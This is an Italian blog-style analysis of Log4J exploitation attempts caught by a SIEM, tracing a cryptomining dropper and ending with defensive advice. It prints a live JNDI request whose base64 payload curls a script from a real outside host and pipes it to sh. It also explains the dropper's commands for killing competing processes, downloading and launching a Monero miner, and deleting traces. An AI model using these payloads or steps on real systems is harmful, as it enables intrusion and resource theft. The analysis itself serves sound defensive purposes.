~/log4j/kthmimu.elf

Preambolo

Da qualche giorno a questa parte sto notando un incremento esponenziale da parte di threat actors di sfruttare la vulnerabilità legata a Log4J.

Sebbene non vi siano stati impatti ai sistemi è bene ricordare che, un modus operandi dei gruppi criminali, consiste nello scansionare periodicamente le risorse liberamente accessibili su internet, alla ricerca di vecchie vulnerabilità non ancora patchate da parte degli amministratori di sistema (vedi ad esempio la vuln CVE-2021–21974 del 2021 legata a VMWare ESXi).

I fatti

Dal 1 al 3 Ottobre il SIEM ha rilevato molteplici richieste riassumibili a quanto sotto indicato

GET /?id=${jndi:ldap://218.24.200.243:8066/TomcatBypass/Command/Base64/Y3VybCAtZnNTTCBodHRwOi8vNTkuNy4yMTcuMjQzOjcwNzAvZG9jcy9scnIuc2ggfHNo

Il server 218.24.200.243 localizzato in Cina è una installazione di un Apache Tomcat lasciata “incustodita”. Curioso il fatto che l’IP ancora non sia stato segnalato (almeno al momento della scrittura di questo articolo) da nessuno.

Senza addentrarci nuovamente sulla modalità di funzionamento della vulnerabilità (ne ho già parlato ampiamente nel precedente articolo linkato), il suo scopo è far eseguire al server un comando specifico, nel caso analizzato è questo sotto riportato (offuscato in base64)

Il comando esegue una cURL verso l’indirizzo 59.7.217.243 (Korea del Nord) con l’intento di scaricare il file “lrr.sh” ed eseguirlo al termine del download.

Stage 2

Il file scaricato è un file bash, quindi destinato ai sistemi operativi Linux ed è suddivisibile in tre diverse fasi.

La prima fase consiste nel forzare la chiusura di una serie di processi potenzialmente presenti sul sistema

Successivamente segue questo altro pezzo di codice

Per capire meglio cosa fa il codice, andrò a spiegarlo passo passo

for i in $(ls /proc|grep '[0-9]'); do:

Questo inizia un ciclo for che itera attraverso i numeri delle directory presenti nella directory /proc. In Linux, ciascuna directory numerata in /proc corrisponde a un processo in esecuzione.

if ls -al /proc/$i 2>/dev/null|grep kthmimu 2>/dev/null; then:

Questo comando verifica se la directory /proc/$i contiene la stringa “kthmimu”. Se la condizione ha effetto continua con il prossimo processo senza fare nulla. Questo sembra essere un filtro per evitare di interrompere specifici processi che contengono “kthmimu” nel loro nome o nelle loro informazioni.

if grep -a 'donate' /proc/$i/exe 1>/dev/null 2>&1; then:

Questo comando cerca la stringa “donate” nel file eseguibile del processo, che si trova nella directory /proc/$i/exe. Se trova la stringa, termina il processo usando il comando kill -9 $i. Questa parte sembra essere progettata per terminare i processi che contengono la parola “donate” nel loro eseguibile.

if ls -al /proc/$i | grep exe | grep "/var/tmp|/tmp"; then:

Questo comando verifica se il percorso dell’eseguibile del processo (/proc/$i/exe) contiene “/var/tmp” o “/tmp”. Se è così, termina il processo utilizzando nuovamente il comando kill -9 $i. Questa parte sembra essere progettata per terminare i processi i cui eseguibili si trovano nelle directory temporanee “/var/tmp” o “/tmp”.

In breve, questo trancio di codice si occupa di controllare se il esiste il processo kthmimu in esecuzione e chiude qualsiasi processo che contenga la stringa “donate” o qualsiasi altro processo in /var/tmp o /tmp

Lo script termina con quest’ultimo trancio di codice, anche qui andremo a dissezionare cosa fa

PROC_NAME=kthmimu

Qui viene definita una variabile PROC_NAME con il valore “kthmimu”.

ProcNumber=$(ps -ef | grep -w $PROC_NAME | grep -v grep | wc -l)

Questo comando conta il numero di processi che corrispondono al nome definito in PROC_NAME (kthmimu) eseguendo il comando ps -ef. Quindi, utilizzando grep e wc -l, conta le linee nel risultato che contengono il nome del processo e scarta le linee che contengono la stessa stringa utilizzando grep -v grep. Il numero di processi viene memorizzato nella variabile ProcNumber.

if [ $ProcNumber -le 0 ]; then

Questo inizia una condizione if che verifica se il numero di processi corrispondenti a “kthmimu” è minore o uguale a zero.

Dentro la condizione if, ci sono diverse azioni

ps auxf | grep -v grep | awk '{if($3>=70.0) print $2}' | xargs kill -9

Questo comando cerca processi in esecuzione con un consumo di CPU superiore o uguale al 70%. Se ne trova, li termina utilizzando kill -9

pkill -9 -f '/tmp/.'

Questo comando cerca processi il cui comando (il nome dell’eseguibile o il percorso completo) corrisponde a ‘/tmp/.’ e li termina utilizzando pkill -9

mkdir /tmp/.mimu

Crea una directory chiamata “/tmp/.mimu” se non esiste

Il blocco successivo scarica alcuni file (config.json, x.rar, apache.sh) da un server remoto (http://59.7.217.243:7070/docs/) nella directory “/tmp/.mimu”.

chmod +x /tmp/.mimu/kthmimu
chmod +x /tmp/.mimu/apache.sh

Imposta i bit di esecuzione sui file “kthmimu” e “apache.sh” nella directory “/tmp/.mimu”.

nohup /tmp/.mimu/apache.sh 1>/dev/null 2>&1 &

Esegue il file “apache.sh” nella directory “/tmp/.mimu” in background, ignorando l’output standard e l’output degli errori

sleep 2

Attende 2 secondi

rm -f /tmp/.mimu/apache.sh

Rimuove il file “apache.sh” nella directory “/tmp/.mimu”.

Stage 3

Sebbene al momento della scrittura di questo articolo non è stato possibile scaricare il file “apache.sh” possiamo ipotizzare che questo venga usato come lanciatore per il file kthmimu

Il file di configurazione “config.json” presenta al suo interno le coordinate di un pool XMR legata alla criptovaluta Monero.

Mentre che il file kthmimu è un binario ELF ben noto alla community di VT

Contromisure

In ambito server (che siate o meno un’azienda enterprise o meno) il consiglio principe è quello di bloccare tutte le connessioni in uscita con opportune regole di firewall, lasciando aperte le comunicazioni strettamente necessarie per il corretto funzionamento degli applicativi installati sul server.

In questo specifico caso, anche se la vulnerabilità fosse stata sfruttabile, il server non avrebbe potuto accedere al primo host per scaricare il droppler.

Il secondo consiglio è quello di loggare tutti gli eventi di sistema e applicativi su di un SIEM per la gestione degli allarmi e la conservazione degli stessi.

Il terzo ed ultimo consiglio consiste nell’installazione di un buon XDR con funzioni di Advanced Detection Technology e Advanced Forensics Capabilities per aumentare la visibilità dei processi e creare/gestire playbook automatizzati di remediation in caso di necessità.

Conclusioni

Chi pensa che le minacce informatiche riguardino solo Windows avrebbe dovuto ricredersi da un po’. Le cronache attuali sono pregne di notizie di incidenti legati alla sicurezza i quali, sempre più spesso, non fanno distinzione per sistema operativo. Questa è l’ennesima prova.